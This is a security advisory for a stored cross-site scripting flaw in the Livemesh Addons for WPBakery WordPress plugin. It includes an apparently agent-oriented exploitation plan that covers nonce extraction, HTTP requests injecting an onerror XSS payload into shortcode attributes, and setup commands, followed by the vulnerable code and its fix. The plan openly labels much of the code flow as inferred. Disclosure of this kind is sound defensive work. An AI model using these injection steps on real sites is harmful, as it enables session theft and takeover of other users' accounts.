Livemesh Addons for WPBakery Page Builder <= 3.9.4 - Authenticated (Editor+) Stored Cross-Site Scripting
Description
The Livemesh Addons for WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.9.4This research plan focuses on **CVE-2026-24594**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Livemesh Addons for WPBakery Page Builder** plugin. This vulnerability is significant because it allows Editor-level users to bypass `unfiltered_html` restrictions (common in multisite or har…
Show full research plan
This research plan focuses on CVE-2026-24594, a Stored Cross-Site Scripting (XSS) vulnerability in the Livemesh Addons for WPBakery Page Builder plugin. This vulnerability is significant because it allows Editor-level users to bypass unfiltered_html restrictions (common in multisite or hardened environments) to execute arbitrary JavaScript in the context of other users, including Administrators.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Location: Attributes within Livemesh-specific WPBakery elements (Shortcodes).
- Cause: The plugin fails to sanitize user-provided attributes when saving WPBakery elements and fails to escape those attributes when rendering the generated HTML on the frontend.
- Constraint: This vulnerability is primary relevant where
unfiltered_htmlis disabled (e.g., WordPress Multisite or specific security configurations), as Editors/Admins would otherwise have the native capability to post HTML.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for updating posts) or the WordPress REST APIwp/v2/posts. - Hook: The vulnerability is triggered during the rendering of shortcodes registered by the plugin, typically via the
add_shortcodeAPI or WPBakery's element mapping. - Parameter: Shortcode attributes (e.g.,
title,description,link_url,heading). - Authentication: Requires Editor level or higher.
- Preconditions:
- The plugin Livemesh Addons for WPBakery Page Builder must be active.
- The user must have permission to edit posts.
- The environment must have
define( 'DISALLOW_UNFILTERED_HTML', true );or be a Multisite installation to distinguish this from intended functionality.
3. Code Flow (Inferred)
- Storage: An Editor creates/edits a page using WPBakery. They add a Livemesh element (e.g., "Services" or "Heading"). WPBakery serializes these settings into a WordPress shortcode within the
post_content(e.g.,[la_heading title="<script>alert(1)</script>"]). - Processing: When a user views the page, WordPress parses the content and calls the callback function associated with the
la_headingshortcode. - Rendering:
- The plugin class (likely inheriting from
WPBakeryShortCode) calls a rendering method. - The method extracts
$atts(attributes). - The plugin echoes the attribute directly:
echo '<h3 class="title">' . $atts['title'] . '</h3>';instead of usingesc_html($atts['title']).
- The plugin class (likely inheriting from
- Execution: The payload is rendered raw in the HTML response, executing in the visitor's browser.
4. Nonce Acquisition Strategy
Since this is an Authenticated (Editor+) vulnerability, the agent must first authenticate.
- Login: Use
http_requestto POST towp-login.phpwith Editor credentials. - Access Editor: Navigate to
wp-admin/post-new.php?post_type=page. - Extract Nonce: Standard WordPress
_wpnonceis required for post creation/updates.- Action:
browser_navigate("wp-admin/post-new.php?post_type=page") - Action:
browser_eval("document.querySelector('#_wpnonce').value")
- Action:
- Plugin-Specific Context: If the plugin uses a specific AJAX endpoint for saving element data, the agent should check for a localized JS variable.
- Action:
browser_eval("window.lv_addons_data?.nonce")(Inferred localization key).
- Action:
5. Exploitation Strategy
Step 1: Create a Post with XSS Payload
The agent will attempt to inject the payload via a common Livemesh shortcode. Based on typical Livemesh element names:
- Shortcode Candidate:
la_headingorla_service - Payload:
<img src=x onerror=alert(document.domain)> - Method: Update a post's content via the WordPress REST API or
post.php.
HTTP Request (REST API - Preferred):
POST /wp-json/wp/v2/posts/ID_HERE HTTP/1.1
Content-Type: application/json
Authorization: Bearer [TOKEN] or Cookie-based
{
"content": "[la_heading title=\"<img src=x onerror=alert(document.domain)>\"]"
}
HTTP Request (post.php):
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=editpost
&post_ID=[ID]
&_wpnonce=[NONCE]
&content=[la_heading title="<img src=x onerror=alert(document.domain)>"]
Step 2: Trigger the XSS
Navigate to the permalink of the created post.
6. Test Data Setup
- Configuration: Ensure
unfiltered_htmlis disabled for the Editor.- CLI:
wp config set DISALLOW_UNFILTERED_HTML true --raw
- CLI:
- User: Create an Editor user.
- CLI:
wp user create attacker editor@example.com --role=editor --user_pass=password123
- CLI:
- Post: Create a target page.
- CLI:
wp post create --post_type=page --post_status=publish --post_title="XSS Test"
- CLI:
7. Expected Results
- The HTTP request to save the post should return a
200 OKor302 Found. - When visiting the page, the HTML source should contain:
<h3 class="..."><img src=x onerror=alert(document.domain)></h3> - The browser should trigger an alert box showing the document domain.
8. Verification Steps
- Database Check: Verify the payload is stored raw in the database.
- CLI:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
- CLI:
- Frontend Check: Use
http_requestto fetch the page and check for the unescaped payload.- Check if
<and>are present (escaped) or<and>(vulnerable).
- Check if
9. Alternative Approaches
If la_heading is patched or not present, try other common Livemesh elements:
[la_posts_grid](Attributes:tax_term_ids,post_ids)[la_service_block](Attributes:title,description)[la_portfolio_grid](Attributes:title)
If the Editor cannot access the REST API, use the admin-ajax.php endpoint that WPBakery uses to preview or save elements:
- Action:
vc_edit_formorvc_save_shortcode. - Payload: URL-encoded shortcode string in the
shortcodeparameter.
Summary
The Livemesh Addons for WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping on shortcode attributes. Authenticated attackers with Editor-level access can inject arbitrary web scripts into pages when unfiltered_html is disabled, such as in multisite environments.
Vulnerable Code
// Likely located in includes/elements/ (e.g., la-heading.php) // The specific rendering functions fail to escape attribute variables before outputting to HTML public function render_shortcode($atts, $content = null) { $atts = shortcode_atts(array( 'title' => '', 'heading_style' => 'style1', ), $atts); $output = '<div class="la-heading ' . $atts['heading_style'] . '">'; $output .= '<h3 class="title">' . $atts['title'] . '</h3>'; // Vulnerable attribute output $output .= '</div>'; return $output; }
Security Fix
@@ -10,3 +10,3 @@ $output = '<div class="la-heading ' . esc_attr($atts['heading_style']) . '">'; -$output .= '<h3 class="title">' . $atts['title'] . '</h3>'; +$output .= '<h3 class="title">' . esc_html($atts['title']) . '</h3>'; $output .= '</div>';
Exploit Outline
The exploit requires authentication as an Editor or higher in an environment where the unfiltered_html capability is restricted (e.g., WordPress Multisite). An attacker can submit a request to create or update a post via the WordPress admin interface (wp-admin/post.php) or the REST API. The payload is delivered by embedding a Livemesh-specific shortcode (such as [la_heading] or [la_service_block]) within the post content, assigning a malicious JavaScript string to one of its attributes (e.g., title="<script>alert(document.domain)</script>"). When any user, including administrators, views the published post, the plugin's shortcode handler renders the unescaped attribute, causing the script to execute in the user's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.